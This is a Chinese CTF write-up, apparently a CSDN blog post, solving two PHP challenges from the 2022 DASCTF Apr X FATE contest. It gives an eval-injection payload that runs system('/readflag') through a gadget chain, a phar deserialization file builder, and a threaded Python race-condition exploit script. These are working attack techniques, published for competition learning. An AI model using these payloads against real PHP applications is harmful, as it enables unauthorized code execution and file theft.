2022DASCTF Apr X FATE 防疫挑战赛

warmup-php

先分析一下index.php的内容,创建一个对象,并且循环赋值,然后调用run函数。

<?php
spl_autoload_register(function($class){
    require("./class/".$class.".php");
});
highlight_file(__FILE__);
error_reporting(0);
$action = $_GET['action'];
$properties = $_POST['properties'];
class Action{

    public function __construct($action,$properties){

        $object=new $action();
        foreach($properties as $name=>$value)
            $object->$name=$value;
        $object->run();
    }
}

new Action($action,$properties);
?>

我们先找一下利用可以利用的点:

在Base.php的evaluateExpression函数中有个eval可以利用。

在这里插入图片描述

在TestView.php中的renderTableRow函数可以触发Base.php的evaluateExpression函数。
在这里插入图片描述
而TestView.php中的renderTableRow函数又可以通过renderTableBody函数触发。
在这里插入图片描述
那么怎么触发TestView.php中的renderTableBody函数呢?
在index.php中run函数只有ListView.php有,通过run->renderContent->renderSection来连接一个renderTableBody
在这里插入图片描述
最后链子就是这样子

action->run()->renderContent()->renderSection()->renderTableBody()->renderTableRow()->evaluateExpression()

然后在看一下参数rowHtmlOptionsExpressiondata,row以存在。
在这里插入图片描述

最后payload可以构造为

GET:?action=TestView

POST:1=system('/readflag');&properties[template]={TableBody}&properties[data]=phph&properties[rowHtmlOptionsExpression]=eval($_POST[1])

soeasy_php

这边可以任意文件读取
在这里插入图片描述
然后就可以拿到源码了。

在这里插入图片描述
也可以用curl
在这里插入图片描述
upload.php

<?php
if (!isset($_FILES['file'])) {
    die("请上传头像");
}

$file = $_FILES['file'];
$filename = md5("png".$file['name']).".png";
$path = "uploads/".$filename;
if(move_uploaded_file($file['tmp_name'],$path)){
    echo "上传成功: ".$path;
};
?>

edit.php

我们可以看到 flag 类中,把 flagwww-data 权限写到了 /tmp/flag.txt,那么做法就一目了然了,利用 phar 反序列化,那么在哪边触发 phar 反序列化呢?

<?php
ini_set("error_reporting","0");
class flag{
    public function copyflag(){
        exec("/copyflag"); //以root权限复制/flag 到 /tmp/flag.txt,并chown www-data:www-data /tmp/flag.txt
        echo "SFTQL";
    }
    public function __destruct(){
        $this->copyflag();
    }

}

function filewrite($file,$data){
        unlink($file);
        file_put_contents($file, $data);
}


if(isset($_POST['png'])){
    $filename = $_POST['png'];
    if(!preg_match("/:|phar|\/\/|php/im",$filename)){
        $f = fopen($filename,"r");
        $contents = fread($f, filesize($filename));
        if(strpos($contents,"flag{") !== false){
            filewrite($filename,"Don't give me flag!!!");
        }
    }

    if(isset($_POST['flag'])) {
        $flag = (string)$_POST['flag'];
        if ($flag == "Give me flag") {
            filewrite("/tmp/flag.txt", "Don't give me flag");
            sleep(2);
            die("no no no !");
        } else {
            filewrite("/tmp/flag.txt", $flag);  //不给我看我自己写个flag。
        }
        $head = "uploads/head.png";
        unlink($head);
        if (symlink($filename, $head)) {
            echo "成功更换头像";
        } else {
            unlink($filename);
            echo "非正常文件,已被删除";
        };
    }
}
?>

先构造一个 phar 文件。

<?php
class flag{

}
$flag = new flag();

@unlink("shell.phar");
$phar = new Phar("shell.phar");
$phar->startBuffering();
$phar->setStub("<?php __HALT_COMPILER(); ?>");
$phar->setMetadata($flag);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
?>

我们看一下下面这段代码,当 symlink($filename, $head) 判断为 false 的时候(可以添加一点脏数据绕过),会利用 unlink 删除文件,这边 unlink 可以触发 phar 反序列化,但是 flag 类,它是把 flag 写入了临时目录里,当 post 表单结束是时会自动删除,所以我们要条件竞争,在它删除前替换头像读取它。

        $head = "uploads/head.png";
        unlink($head);
        if (symlink($filename, $head)) {
            echo "成功更换头像";
        } else {
            unlink($filename);
            echo "非正常文件,已被删除";
        };

exp:

import requests
import threading
import time

url = "http://d2151e13-985d-4e41-858d-777188ae6b1d.node4.buuoj.cn:81/"
png = "/uploads/head.png"
flag = "../../../../../../tmp/flag.txt"
phar = """phar://../../../../../../var/www/html/uploads/847d0f7423cc68ed6b91da337e722203.png/test.txtaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"""

#读取flag
def getpng():
    res = requests.get(url+png)
    print(res.text)

#把头像链接转为 flag 链接
def linkflag():
    data = {
        "flag":"1",
        "png":flag
    }
    res = requests.post(url=url+"/edit.php",data=data)
    print(res.text)

#触发phar,把flag 写入 /tmp/flag.txt
def putphar():
    data = {
        "flag":"1",
        "png":phar
    }
    res = requests.post(url=url+"/edit.php",data=data)
    print(res.text)

while True:
    for i in range(10):
        t3 = threading.Thread(target=putphar)
        t3.start()
        t2 = threading.Thread(target=linkflag)
        t2.start()
        t1 = threading.Thread(target=getpng)
        t1.start()
    time.sleep(5)

参考:

wp

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值